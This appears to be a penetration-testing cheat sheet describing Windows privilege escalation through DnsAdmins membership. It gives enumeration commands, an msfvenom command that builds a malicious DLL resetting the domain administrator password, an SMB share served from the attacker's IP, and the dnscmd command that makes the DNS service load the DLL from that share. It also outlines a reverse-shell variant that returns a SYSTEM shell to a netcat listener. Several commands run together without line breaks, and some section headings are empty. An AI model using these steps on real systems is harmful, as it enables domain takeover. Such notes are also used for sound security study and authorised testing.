DNS Admins
A user that is a member of the DnsAdmins group, has the ability to use dnscmd.exe to specify a plugin DLL that should be loaded by the DNS service.
We can create our own malicious .dll payload with msfvenom to escalate privileges
Steps:
Enumeration
Get-NetGroupMember -GroupName "DNSAdmins"
Get-ADGroupMember -Identity DNSAdminsExploitation
msfvenom -p windows/x64/exec cmd='net user administrator P@55w0rd123! /domain' -f dll > pwn.dllsudo smbserver.py share ./ cmd /c dnscmd localhost /config /serverlevelplugindll \\OUR_IP\share\pwn.dll sc.exe stop dnsAlternate Method: DNSServer module
Check for successful previous command
OR
1) Create reverse shell payload
2) Once the malicious DLL has been uploaded to the target the following command can be used to register the DLL.
3) Setu a listener on attacker machine
4) From here stopping the DNS service and starting it again will spawn a SYSTEM shell to the netcat listener.
Alternate Method: Metasploit
Alternate Method: Netexec and python
Last updated